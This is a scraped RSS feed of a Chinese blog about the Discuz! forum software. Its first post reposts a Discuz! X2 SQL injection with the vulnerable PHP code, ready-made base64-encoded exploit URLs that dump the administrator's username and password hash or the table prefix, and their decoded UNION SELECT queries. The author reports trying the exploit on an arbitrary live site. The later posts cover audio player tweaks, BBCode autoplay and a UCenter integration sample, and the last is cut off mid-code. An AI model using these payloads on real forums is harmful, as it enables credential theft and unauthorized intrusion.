Hacklog » discuz http://ihacklog.com 荒野无灯weblog Sat, 04 Feb 2012 12:30:34 +0000 en hourly 1 http://wordpress.org/?v=3.3.1 Discuz! X2 SQL注射漏洞 (20110629) http://ihacklog.com/security_optimization/discuz-x2-sql-injection-bug-20110629.html http://ihacklog.com/security_optimization/discuz-x2-sql-injection-bug-20110629.html#comments Thu, 30 Jun 2011 13:29:00 +0000 荒野无灯 http://ihacklog.com/?p=4582 来自岁月联盟猪猪的博客： http://blog.syue.com/post/148.html

详细：
if(!defined(‘IN_DISCUZ’)) {
exit(‘Access Denied’);
}
define(‘NOROBOT’, TRUE);
@list($_G['gp_aid'], $_G['gp_k'], $_G['gp_t'], $_G['gp_uid'], $_G['gp_tableid']) = explode(‘|’, base64_decode($_G['gp_aid']));

if(!empty($_G['gp_findpost']) && ($attach = DB::fetch_first(“SELECT pid, tid FROM “.DB::table(‘forum_attachment’).” WHERE aid=’$_G[gp_aid]‘”))) {
dheader(‘location: forum.php?mod=redirect&goto=findpost&pid=’.$attach['pid'].’&ptid=’.$attach['tid']);
}

变量aid 直接base64_decode 后传入 SQL查询，造成注射漏洞。。。

http://www.xxxx.net/forum.php?mod=attachment&findpost=ss&aid=MScgYW5kIDE9MiB1bmlvbiBhbGwgc2VsZWN0IDEsVEFCTEVfTkFNRSBmcm9tIElORk9STUFUSU9OX1NDSEVNQS5UQUJMRVMgd2hlcmUgVEFCTEVfU0NIRU1BPWRhdGFiYXNlKCkgYW5kICBUQUJMRV9OQU1FIGxpa2UgJyVfbWVtYmVyfHh8eHx4fHg%3D

转向后网址

http://www.xxxx.net/forum.php?mod=redirect&goto=findpost&pid=1&ptid=pre_common_admincp_member

暴出表名 pre_common_admincp_member

实际查询为：

$x=”1′ and 1=2 union all select 1,TABLE_NAME from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA=database() and TABLE_NAME like ‘%_member|x|x|x|x”;
//die (urlencode(base64_encode($x)));

在dz官网论坛看到有人已经发了exp:

Discuz! X2.0 SQL注入漏洞 EXP

DZ2.0直接暴管理账号密码（默认前缀的情况下）
/forum.php?mod=attachment&findpost=ss&aid=MScgYW5kIDE9MiB1bmlvbiBhbGwgc2V
sZWN0IDEsZ3JvdXBfY29uY2F0KHVzZXJuYW1lLDB4N0MzMjc0NzQ3QyxwYXNzd
29yZCkgZnJvbSBwcmVfY29tbW9uX21lbWJlciB3aGVyZSAgdXNlcm5hbWUgbGl
rZSAnYWRtaW58eHx5%3D
base64解码
1′ and 1=2 union all select 1,group_concat(username,0x7C3274747C,password)
from pre_common_member where username like ‘admin|x|y
如果不是默认前缀
暴前缀EXP
/forum.php?mod=attachment&findpost=ss&aid=MScgYW5kIDE9MiB1bmlvbiBhbGwgc2V
sZWN0IDEsVEFCTEVfTkFNRSBmcm9tIElORk9STUFUSU9OX1NDSEVNQS5UQUJMR
VMgd2hlcmUgVEFCTEVfU0NIRU1BPWRhdGFiYXNlKCkgYW5kICBUQUJMRV9OQU1
FIGxpa2UgJyVfbWVtYmVyfHh8eQ%3D

随便拿了个站测试一下，管理员的用户名和密码hash果断暴出：

dz官方已经发布:补丁

喜欢这篇文章吗?

请订阅本站 RSS feed 或填写您的邮件地址，订阅我们的精彩内容：

相关日志

]]> http://ihacklog.com/security_optimization/discuz-x2-sql-injection-bug-20110629.html/feed 3 为discuz添加漂亮的mp3播放器[适合discuz 7.2/discuz X2] http://ihacklog.com/php/discuz/add-beautiful-flash-audio-player-for-dz.html http://ihacklog.com/php/discuz/add-beautiful-flash-audio-player-for-dz.html#comments Sat, 24 Apr 2010 12:07:36 +0000 荒野无灯 http://www.ihacklog.com/?p=3709 dz自带的那个实在太丑了，呵呵，换成这个效果怎么样？
看图：

discuz 7.2修改方法

修改 include/discuzcode.func.php中的parseaudio函数为如下即可：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function parseaudio($url, $width = 400, $autostart = 0) {
    $ext = strtolower(substr(strrchr($url, '.'), 1, 5));
    switch($ext) {
        case 'mp3':
            $auto=$autostart?'yes':'no';       
                return '<embed src="images/common/player.swf?soundFile='.$url.'&autostart='.$auto.'&animation=yes&encode=no&initialvolume=80&remaining=yes&noinfo=no&buffer=5&checkpolicy=no&rtl=no&bg=E5E5E5&text=333333&leftbg=CCCCCC&lefticon=333333&volslider=666666&voltrack=FFFFFF&rightbg=B4B4B4&rightbghover=999999&righticon=333333&righticonhover=FFFFFF&track=FFFFFF&loader=009900&border=CCCCCC&tracker=DDDDDD&skip=666666" type="application/x-shockwave-flash" wmode="transparent" allowscriptaccess="always" width="290" height="30">';
        case 'wma':
        case 'mid':
        case 'wav':
            return '<object classid="clsid:6BF52A52-394A-11d3-B153-00C04F79FAA6" width="'.$width.'" height="64"><param name="invokeURLs" value="0"><param name="autostart" value="'.$autostart.'" /><param name="url" value="'.$url.'" /><embed src="'.$url.'" autostart="'.$autostart.'" type="application/x-mplayer2" width="'.$width.'" height="64"></embed></object>';
        case 'ra':
        case 'rm':
        case 'ram':
            $mediaid = 'media_'.random(3);
            return '<object classid="clsid:CFCDAA03-8BE4-11CF-B84B-0020AFBBCCFA" width="'.$width.'" height="32"><param name="autostart" value="'.$autostart.'" /><param name="src" value="'.$url.'" /><param name="controls" value="controlpanel" /><param name="console" value="'.$mediaid.'_" /><embed src="'.$url.'" type="audio/x-pn-realaudio-plugin" controls="ControlPanel" console="'.$mediaid.'_" width="'.$width.'" height="32"></embed></object>';
    }
}

flash播放器下载地址： http://wordpress.org/extend/plugins/audio-player/
这是一个用于wp的插件，下载后从中提取出那个flash播放器上传到论坛images/common/下 就OK了。 :mrgreen:

discuz X2 修改方法

把上面说到的flash文件更名为wpaudio_mp3player.swf ,放到static/image/common 目录下面。
再修改source/function/function_discuzcode.php第348行parseaudio()函数，在case ‘mp3′:　后面加上：

1
2
        $auto=$autostart?'yes':'no';        
            return '<embed src="'.STATICURL.'image/common/wpaudio_mp3player.swf?soundFile='.base64_encode($url).'&autostart='.$auto.'&animation=yes&encode=yes&initialvolume=80&remaining=yes&noinfo=no&buffer=5&checkpolicy=no&rtl=no&bg=E5E5E5&text=333333&leftbg=CCCCCC&lefticon=333333&volslider=666666&voltrack=FFFFFF&rightbg=B4B4B4&rightbghover=999999&righticon=333333&righticonhover=FFFFFF&track=FFFFFF&loader=009900&border=CCCCCC&tracker=DDDDDD&skip=666666" type="application/x-shockwave-flash" wmode="transparent" allowscriptaccess="always" width="290" height="30">';

这里帖出修改后的完整代码吧：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function parseaudio($url, $width = 400) {
    $ext = strtolower(substr(strrchr($url, '.'), 1, 5));
    switch($ext) {
        case 'mp3':
        $auto=$autostart?'yes':'no';        
            return '<embed src="'.STATICURL.'image/common/wpaudio_mp3player.swf?soundFile='.base64_encode($url).'&autostart='.$auto.'&animation=yes&encode=yes&initialvolume=80&remaining=yes&noinfo=no&buffer=5&checkpolicy=no&rtl=no&bg=E5E5E5&text=333333&leftbg=CCCCCC&lefticon=333333&volslider=666666&voltrack=FFFFFF&rightbg=B4B4B4&rightbghover=999999&righticon=333333&righticonhover=FFFFFF&track=FFFFFF&loader=009900&border=CCCCCC&tracker=DDDDDD&skip=666666" type="application/x-shockwave-flash" wmode="transparent" allowscriptaccess="always" width="290" height="30">';
        case 'wma':
        case 'mid':
        case 'wav':
            return '<object classid="clsid:6BF52A52-394A-11d3-B153-00C04F79FAA6" width="'.$width.'" height="64"><param name="invokeURLs" value="0"><param name="autostart" value="0" /><param name="url" value="'.$url.'" /><embed src="'.$url.'" autostart="0" type="application/x-mplayer2" width="'.$width.'" height="64"></embed></object>';
        case 'ra':
        case 'rm':
        case 'ram':
            $mediaid = 'media_'.random(3);
            return '<object classid="clsid:CFCDAA03-8BE4-11CF-B84B-0020AFBBCCFA" width="'.$width.'" height="32"><param name="autostart" value="0" /><param name="src" value="'.$url.'" /><param name="controls" value="controlpanel" /><param name="console" value="'.$mediaid.'_" /><embed src="'.$url.'" autostart="0" type="audio/x-pn-realaudio-plugin" controls="ControlPanel" console="'.$mediaid.'_" width="'.$width.'" height="32"></embed></object>';
    }
}

喜欢这篇文章吗?

请订阅本站 RSS feed 或填写您的邮件地址，订阅我们的精彩内容：

相关日志

]]> http://ihacklog.com/php/discuz/add-beautiful-flash-audio-player-for-dz.html/feed 6 discuz论坛中发帖之音乐自动播放方法 http://ihacklog.com/php/discuz/discuz-code-of-music-autoplay.html http://ihacklog.com/php/discuz/discuz-code-of-music-autoplay.html#comments Wed, 03 Mar 2010 11:59:06 +0000 荒野无灯 http://www.ihacklog.com/?p=3495 今天寝室的小则童鞋问我他在论坛发帖如何让音乐自动播放，于是有了此文。
我看了下，他所在的论坛用的是国内比较流行的discuz论坛系统，虽然以前我也办过论坛，不过那时候我用的是6.*版和7.0版。现在的7.1和7.2版的discuz添加媒体或者音乐时没有自动播放选项的。不过其实它是支持自动播放的。
实现方法我这里有两种：
一、用discuz 代码media实现：
如：

1
[media=mp3,250,30,1]http://www.changheng.net/iblog/images/jpg/dielian.mp3[/media]

那四个参数分别是文件类型(mp3、wma 等) 、长、宽、是否自动播放（自动播放填1就可以了，其实填什么无所谓，不自动播放则不填）
中间是mp3地址。

在include/discuzcode.php文件中的discuzcode函数中可以看到如下代码：

1
2
3
4
5
6
        if(strpos($msglower, '[/media]') !== FALSE) {
            $message = preg_replace("/\[media=([\w,]+)\]\s*([^\[\<\r\n]+?)\s*\[\/media\]/ies", $allowmediacode ? "parsemedia('\\1', '\\2')" : "bbcodeurl('\\2', '<a href=\"%s\" target=\"_blank\">%s</a>')", $message);
        }
        if($allowmediacode && strpos($msglower, '[/audio]') !== FALSE) {
            $message = preg_replace("/\[audio\]\s*([^\[\<\r\n]+?)\s*\[\/audio\]/ies", "parseaudio('\\1')", $message);
        }

可见对于media标签是用parsemedia解析的，对于audio标签是用parseaudio解析的，但是media标签也可以处理音乐，从代码可以看出parsemedia函数对于音乐地址是通过调用parseaudio来解析的。从代码还可以看出audio标签是不支持自动播放的。因此要实现自动播放就得用media标签了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
function parseaudio($url, $width = 400, $autostart = 0) {
    $ext = strtolower(substr(strrchr($url, '.'), 1, 5));
    switch($ext) {
        case 'mp3':
        case 'wma':
        case 'mid':
        case 'wav':
            return '<object classid="clsid:6BF52A52-394A-11d3-B153-00C04F79FAA6" width="'.$width.'" height="64"><param name="invokeURLs" value="0"><param name="autostart" value="'.$autostart.'" /><param name="url" value="'.$url.'" /><embed src="'.$url.'" autostart="'.$autostart.'" type="application/x-mplayer2" width="'.$width.'" height="64"></embed></object>';
        case 'ra':
        case 'rm':
        case 'ram':
            $mediaid = 'media_'.random(3);
            return '<object classid="clsid:CFCDAA03-8BE4-11CF-B84B-0020AFBBCCFA" width="'.$width.'" height="32"><param name="autostart" value="'.$autostart.'" /><param name="src" value="'.$url.'" /><param name="controls" value="controlpanel" /><param name="console" value="'.$mediaid.'_" /><embed src="'.$url.'" type="audio/x-pn-realaudio-plugin" controls="ControlPanel" console="'.$mediaid.'_" width="'.$width.'" height="32"></embed></object>';
    }
}

function parsemedia($params, $url) {
    $params = explode(',', $params);
    $width = intval($params[1]) > 800 ? 800 : intval($params[1]);
    $height = intval($params[2]) > 600 ? 600 : intval($params[2]);
    $autostart = !empty($params[3]) ? 1 : 0;
    if($flv = parseflv($url, $width, $height)) {
        return $flv;
    }
    if(in_array(count($params), array(3, 4))) {
        $type = $params[0];
        $url = str_replace(array('<', '>'), '', str_replace('\\"', '\"', $url));
        switch($type) {
            case 'mp3':
            case 'wma':
            case 'ra':
            case 'ram':
            case 'wav':
            case 'mid':
                return parseaudio($url, $width, $autostart);
            case 'rm':
            case 'rmvb':
            case 'rtsp':
                $mediaid = 'media_'.random(3);
                return '<object classid="clsid:CFCDAA03-8BE4-11cf-B84B-0020AFBBCCFA" width="'.$width.'" height="'.$height.'"><param name="autostart" value="'.$autostart.'" /><param name="src" value="'.$url.'" /><param name="controls" value="imagewindow" /><param name="console" value="'.$mediaid.'_" /><embed src="'.$url.'" type="audio/x-pn-realaudio-plugin" controls="imagewindow" console="'.$mediaid.'_" width="'.$width.'" height="'.$height.'"></embed></object><br /><object classid="clsid:CFCDAA03-8BE4-11CF-B84B-0020AFBBCCFA" width="'.$width.'" height="32"><param name="src" value="'.$url.'" /><param name="controls" value="controlpanel" /><param name="console" value="'.$mediaid.'_" /><embed src="'.$url.'" type="audio/x-pn-realaudio-plugin" controls="controlpanel" console="'.$mediaid.'_" width="'.$width.'" height="32"'.($autostart ? ' autostart="true"' : '').'></embed></object>';
            case 'flv':
                return '<script type="text/javascript" reload="1">document.write(AC_FL_RunContent(\'width\', \''.$width.'\', \'height\', \''.$height.'\', \'allowNetworking\', \'internal\', \'allowScriptAccess\', \'never\', \'src\', \'images/common/flvplayer.swf\', \'flashvars\', \'file='.rawurlencode($url).'\', \'quality\', \'high\', \'wmode\', \'transparent\', \'allowfullscreen\', \'true\'));</script>';
            case 'swf':
                return '<script type="text/javascript" reload="1">document.write(AC_FL_RunContent(\'width\', \''.$width.'\', \'height\', \''.$height.'\', \'allowNetworking\', \'internal\', \'allowScriptAccess\', \'never\', \'src\', \''.$url.'\', \'quality\', \'high\', \'bgcolor\', \'#ffffff\', \'wmode\', \'transparent\', \'allowfullscreen\', \'true\'));</script>';
            case 'asf':
            case 'asx':
            case 'wmv':
            case 'mms':
            case 'avi':
            case 'mpg':
            case 'mpeg':
                return '<object classid="clsid:6BF52A52-394A-11d3-B153-00C04F79FAA6" width="'.$width.'" height="'.$height.'"><param name="invokeURLs" value="0"><param name="autostart" value="'.$autostart.'" /><param name="url" value="'.$url.'" /><embed src="'.$url.'" autostart="'.$autostart.'" type="application/x-mplayer2" width="'.$width.'" height="'.$height.'"></embed></object>';
            case 'mov':
                return '<object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" width="'.$width.'" height="'.$height.'"><param name="autostart" value="'.($autostart ? '' : 'false').'" /><param name="src" value="'.$url.'" /><embed src="'.$url.'" autostart="'.($autostart ? 'true' : 'false').'" type="video/quicktime" controller="true" width="'.$width.'" height="'.$height.'"></embed></object>';
            default:
                return '<a href="'.$url.'" target="_blank">'.$url.'</a>';
        }
    }
    return;
}

从代码可以看出media标签只要存在第四个参数就可以使自动播放的条件为真，再调用 parseaudio解析时就会设置成自动播放。

二、第二种方法是用flash标签实现

1
2
3
4
5
6
7
8
[flash]http://www.51119.com/play/swf/2.swf?file=歌曲地址&width=25&songVolume=100&backColor=ffffff&frontColor=ffffff&autoStart=true&repeatPlay=true&showDownload=false&2.swf[/flash]　　　白色播放器
[flash]http://www.51119.com/play/swf/2.swf?file=歌曲地址&width=150&songVolume=100&backColor=ff80c0&frontColor=ffffff&autoStart=true&repeatPlay=true&showDownload=false&2.swf[/flash]　 　　粉色播放器
[flash]http://www.51119.com/play/swf/2.swf?file=歌曲地址&width=150&songVolume=100&backColor=000000&frontColor=ffffff&autoStart=true&repeatPlay=true&showDownload=false&2.swf[/flash] 　　黑色播放器
[flash]http://www.51119.com/play/swf/2.swf?file=歌曲地址&width=150&songVolume=100&backColor=8080ff&frontColor=ffffff&autoStart=true&repeatPlay=true&showDownload=false&2.swf[/flash]　　紫色播放器
[flash]http://www.51119.com/play/swf/2.swf?file=歌曲地址&width=150&songVolume=100&backColor=ff0080&frontColor=ffffff&autoStart=true&repeatPlay=true&showDownload=false&2.swf[/flash]　　深粉色播放器
[flash]http://www.51119.com/play/swf/2.swf?file=歌曲地址&width=150&songVolume=100&backColor=ff8080&frontColor=ffffff&autoStart=true&repeatPlay=true&showDownload=false&2.swf[/flash]　　橙色播放器
[flash]http://www.51119.com/play/swf/2.swf?file=歌曲地址&width=150&songVolume=100&backColor=408080&frontColor=ffffff&autoStart=true&repeatPlay=true&showDownload=false&2.swf[/flash]　　绿色播放器
[flash]http://www.51119.com/play/swf/2.swf?file=歌曲地址&width=25&songVolume=100&backColor=0080c0&frontColor=7bb5e3&autoStart=true&repeatPlay=true&showDownload=false&2.swf[/flash]　　深蓝色播放器

喜欢这篇文章吗?

请订阅本站 RSS feed 或填写您的邮件地址，订阅我们的精彩内容：

相关日志

]]> http://ihacklog.com/php/discuz/discuz-code-of-music-autoplay.html/feed 3 ucenter应用开发笔记之通信篇 http://ihacklog.com/php/discuz/ucenter-application-developing-note.html http://ihacklog.com/php/discuz/ucenter-application-developing-note.html#comments Sat, 28 Nov 2009 02:52:20 +0000 荒野无灯 http://www.hacklog.cn/?p=3279 前面做了个I feel lucky ,Joya说到验证问题，说只允许wpg成员加入此活动， 我当时由于时间仓促，就只简单地加上个UID填写再加上后台人工审核认证，
现在觉得其实可以有更好的验证办法。
由于WPG会员都有论坛ID，所以可以用UCenter来验证添加链接的人是不是WPG成员。此处不討論这个如何实现，只说一下想法。
下面是简单地做一下通信测试。

应用路径： /var/www/test/mywebsite

1，先到Ucenter后台添加一个新应用：
ucenter_add_app

2，部署相关文件
应用路径： /var/www/test/mywebsite

/var/www/test/mywebsite/config.inc.php.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
// ============================================================================
define('UC_CONNECT', 'mysql');
define('UC_DBHOST', 'localhost');
define('UC_DBUSER', 'discuz');
define('UC_DBPW', '123456');
define('UC_DBNAME', 'discuz');
define('UC_DBCHARSET', 'utf8');
define('UC_DBTABLEPRE', '`discuz`.uc_');
define('UC_DBCONNECT', '0');

//通信相关
define('UC_KEY', '123456');
define('UC_API', 'http://dz.hacklog.com/UCenter');
define('UC_CHARSET', 'utf-8');
define('UC_IP', '192.168.1.111');
define('UC_APPID', '6');
define('UC_PPP', '20');


//ucexample_2.php 用到的应用程序数据库连接参数
$dbhost = 'localhost';          // 数据库服务器
$dbuser = 'root';           // 数据库用户名
$dbpw = '我不告诉你';              // 数据库密码
$dbname = 'blogshow';           // 数据库名
$pconnect = 0;              // 数据库持久连接 0=关闭, 1=打开
$tablepre = '';         // 表名前缀, 同一数据库安装多个论坛请修改此处
$dbcharset = 'utf8';            // MySQL 字符集, 可选 'gbk', 'big5', 'utf8', 'latin1', 留空为按照论坛字符集设定

//同步登录 Cookie 设置
$cookiedomain = '';             // cookie 作用域
$cookiepath = '/';          // cookie 作用路径

将discuz目录下的uc_client目录复制到应用目录下。
再在应用目录下新建一名为api的目录，其下建新一名为uc.php的文件：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
<?php

define('UC_CLIENT_VERSION', '1.5.0');   //note UCenter 版本标识
define('UC_CLIENT_RELEASE', '20081031');

define('API_DELETEUSER', 1);        //note 用户删除 API 接口开关
define('API_RENAMEUSER', 1);        //note 用户改名 API 接口开关
define('API_GETTAG', 1);        //note 获取标签 API 接口开关
define('API_SYNLOGIN', 1);      //note 同步登录 API 接口开关
define('API_SYNLOGOUT', 1);     //note 同步登出 API 接口开关
define('API_UPDATEPW', 1);      //note 更改用户密码 开关
define('API_UPDATEBADWORDS', 1);    //note 更新关键字列表 开关
define('API_UPDATEHOSTS', 1);       //note 更新域名解析缓存 开关
define('API_UPDATEAPPS', 1);        //note 更新应用列表 开关
define('API_UPDATECLIENT', 1);      //note 更新客户端缓存 开关
define('API_UPDATECREDIT', 1);      //note 更新用户积分 开关
define('API_GETCREDITSETTINGS', 1); //note 向 UCenter 提供积分设置 开关
define('API_GETCREDIT', 1);     //note 获取用户的某项积分 开关
define('API_UPDATECREDITSETTINGS', 1);  //note 更新应用积分设置 开关

define('API_RETURN_SUCCEED', '1');
define('API_RETURN_FAILED', '-1');
define('API_RETURN_FORBIDDEN', '-2');


//note 普通的 http 通知方式
if(!defined('IN_UC')) {

    error_reporting(0);
    set_magic_quotes_runtime(0);
   
    defined('MAGIC_QUOTES_GPC') || define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
    require_once '../config.inc.php';

    $_DCACHE = $get = $post = array();

    $code = @$_GET['code'];
    parse_str(_authcode($code, 'DECODE', UC_KEY), $get);
    if(MAGIC_QUOTES_GPC) {
        $get = _stripslashes($get);
    }

    $timestamp = time();
    if($timestamp - $get['time'] > 3600) {
        exit('Authracation has expiried');
    }
    if(empty($get)) {
        exit('Invalid Request');
    }
    $action = $get['action'];

    require_once '../uc_client/lib/xml.class.php';
    $post = xml_unserialize(file_get_contents('php://input'));

    if(in_array($get['action'], array('test', 'deleteuser', 'renameuser', 'gettag', 'synlogin', 'synlogout', 'updatepw', 'updatebadwords', 'updatehosts', 'updateapps', 'updateclient', 'updatecredit', 'getcreditsettings', 'updatecreditsettings'))) {
        require_once '../include/db_mysql.class.php';
        $GLOBALS['db'] = new dbstuff;
        $GLOBALS['db']->connect($dbhost, $dbuser, $dbpw, $dbname, $pconnect, true, $dbcharset);
        $GLOBALS['tablepre'] = $tablepre;
        unset($dbhost, $dbuser, $dbpw, $dbname, $pconnect);
        $uc_note = new uc_note();
        exit($uc_note->$get['action']($get, $post));
    } else {
        exit(API_RETURN_FAILED);
    }

//note include 通知方式
} else {

    require_once '../config.inc.php';
    require_once '../include/db_mysql.class.php';
    $GLOBALS['db'] = new dbstuff;
    $GLOBALS['db']->connect($dbhost, $dbuser, $dbpw, $dbname, $pconnect, true, $dbcharset);
    $GLOBALS['tablepre'] = $tablepre;
    unset($dbhost, $dbuser, $dbpw, $dbname, $pconnect);
}

class uc_note {

    var $dbconfig = '';
    var $db = '';
    var $tablepre = '';
    var $appdir = '';

    function _serialize($arr, $htmlon = 0) {
        if(!function_exists('xml_serialize')) {
            include_once '../uc_client/lib/xml.class.php';
        }
        return xml_serialize($arr, $htmlon);
    }

    function uc_note() {
        $this->appdir = substr(dirname(__FILE__), 0, -3);
        $this->dbconfig = $this->appdir.'./config.inc.php';
        $this->db = $GLOBALS['db'];
        $this->tablepre = $GLOBALS['tablepre'];
    }

    function test($get, $post) {
        return API_RETURN_SUCCEED;
    }

    function deleteuser($get, $post) {
        $uids = $get['ids'];
        !API_DELETEUSER && exit(API_RETURN_FORBIDDEN);

        return API_RETURN_SUCCEED;
    }

    function renameuser($get, $post) {
        $uid = $get['uid'];
        $usernameold = $get['oldusername'];
        $usernamenew = $get['newusername'];
        if(!API_RENAMEUSER) {
            return API_RETURN_FORBIDDEN;
        }

        return API_RETURN_SUCCEED;
    }

    function gettag($get, $post) {
        $name = $get['id'];
        if(!API_GETTAG) {
            return API_RETURN_FORBIDDEN;
        }
       
        $return = array();
        return $this->_serialize($return, 1);
    }

    function synlogin($get, $post) {
        $uid = $get['uid'];
        $username = $get['username'];
        if(!API_SYNLOGIN) {
            return API_RETURN_FORBIDDEN;
        }

        header('P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"');
        _setcookie('Example_auth', _authcode($uid."\t".$username, 'ENCODE'));
    }

    function synlogout($get, $post) {
        if(!API_SYNLOGOUT) {
            return API_RETURN_FORBIDDEN;
        }

        //note 同步登出 API 接口
        header('P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"');
        _setcookie('Example_auth', '', -86400 * 365);
    }

    function updatepw($get, $post) {
        if(!API_UPDATEPW) {
            return API_RETURN_FORBIDDEN;
        }
        $username = $get['username'];
        $password = $get['password'];
        return API_RETURN_SUCCEED;
    }

    function updatebadwords($get, $post) {
        if(!API_UPDATEBADWORDS) {
            return API_RETURN_FORBIDDEN;
        }
        $cachefile = $this->appdir.'./uc_client/data/cache/badwords.php';
        $fp = fopen($cachefile, 'w');
        $data = array();
        if(is_array($post)) {
            foreach($post as $k => $v) {
                $data['findpattern'][$k] = $v['findpattern'];
                $data['replace'][$k] = $v['replacement'];
            }
        }
        $s = "<?php\r\n";
        $s .= '$_CACHE[\'badwords\'] = '.var_export($data, TRUE).";\r\n";
        fwrite($fp, $s);
        fclose($fp);
        return API_RETURN_SUCCEED;
    }

    function updatehosts($get, $post) {
        if(!API_UPDATEHOSTS) {
            return API_RETURN_FORBIDDEN;
        }
        $cachefile = $this->appdir.'./uc_client/data/cache/hosts.php';
        $fp = fopen($cachefile, 'w');
        $s = "<?php\r\n";
        $s .= '$_CACHE[\'hosts\'] = '.var_export($post, TRUE).";\r\n";
        fwrite($fp, $s);
        fclose($fp);
        return API_RETURN_SUCCEED;
    }

    function updateapps($get, $post) {
        if(!API_UPDATEAPPS) {
            return API_RETURN_FORBIDDEN;
        }
        $UC_API = $post['UC_API'];

        //note 写 app 缓存文件
        $cachefile = $this->appdir.'./uc_client/data/cache/apps.php';
        $fp = fopen($cachefile, 'w');
        $s = "<?php\r\n";
        $s .= '$_CACHE[\'apps\'] = '.var_export($post, TRUE).";\r\n";
        fwrite($fp, $s);
        fclose($fp);

        //note 写配置文件
        if(is_writeable($this->appdir.'./config.inc.php')) {
            $configfile = trim(file_get_contents($this->appdir.'./config.inc.php'));
            $configfile = substr($configfile, -2) == '?>' ? substr($configfile, 0, -2) : $configfile;
            $configfile = preg_replace("/define\('UC_API',\s*'.*?'\);/i", "define('UC_API', '$UC_API');", $configfile);
            if($fp = @fopen($this->appdir.'./config.inc.php', 'w')) {
                @fwrite($fp, trim($configfile));
                @fclose($fp);
            }
        }
   
        return API_RETURN_SUCCEED;
    }

    function updateclient($get, $post) {
        if(!API_UPDATECLIENT) {
            return API_RETURN_FORBIDDEN;
        }
        $cachefile = $this->appdir.'./uc_client/data/cache/settings.php';
        $fp = fopen($cachefile, 'w');
        $s = "<?php\r\n";
        $s .= '$_CACHE[\'settings\'] = '.var_export($post, TRUE).";\r\n";
        fwrite($fp, $s);
        fclose($fp);
        return API_RETURN_SUCCEED;
    }

    function updatecredit($get, $post) {
        if(!API_UPDATECREDIT) {
            return API_RETURN_FORBIDDEN;
        }
        $credit = $get['credit'];
        $amount = $get['amount'];
        $uid = $get['uid'];
        return API_RETURN_SUCCEED;
    }

    function getcredit($get, $post) {
        if(!API_GETCREDIT) {
            return API_RETURN_FORBIDDEN;
        }
    }

    function getcreditsettings($get, $post) {
        if(!API_GETCREDITSETTINGS) {
            return API_RETURN_FORBIDDEN;
        }
        $credits = array();
        return $this->_serialize($credits);
    }

    function updatecreditsettings($get, $post) {
        if(!API_UPDATECREDITSETTINGS) {
            return API_RETURN_FORBIDDEN;
        }
        return API_RETURN_SUCCEED;
    }
}

//note 使用该函数前需要 require_once $this->appdir.'./config.inc.php';
function _setcookie($var, $value, $life = 0, $prefix = 1) {
    global $cookiepre, $cookiedomain, $cookiepath, $timestamp, $_SERVER;
    setcookie(($prefix ? $cookiepre : '').$var, $value,
        $life ? $timestamp + $life : 0, $cookiepath,
        $cookiedomain, $_SERVER['SERVER_PORT'] == 443 ? 1 : 0);
}

function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
    $ckey_length = 4;

    $key = md5($key ? $key : UC_KEY);
    $keya = md5(substr($key, 0, 16));
    $keyb = md5(substr($key, 16, 16));
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

    $cryptkey = $keya.md5($keya.$keyc);
    $key_length = strlen($cryptkey);

    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
    $string_length = strlen($string);

    $result = '';
    $box = range(0, 255);

    $rndkey = array();
    for($i = 0; $i <= 255; $i++) {
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
    }

    for($j = $i = 0; $i < 256; $i++) {
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }

    for($a = $j = $i = 0; $i < $string_length; $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    }

    if($operation == 'DECODE') {
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
            return substr($result, 26);
        } else {
                return '';
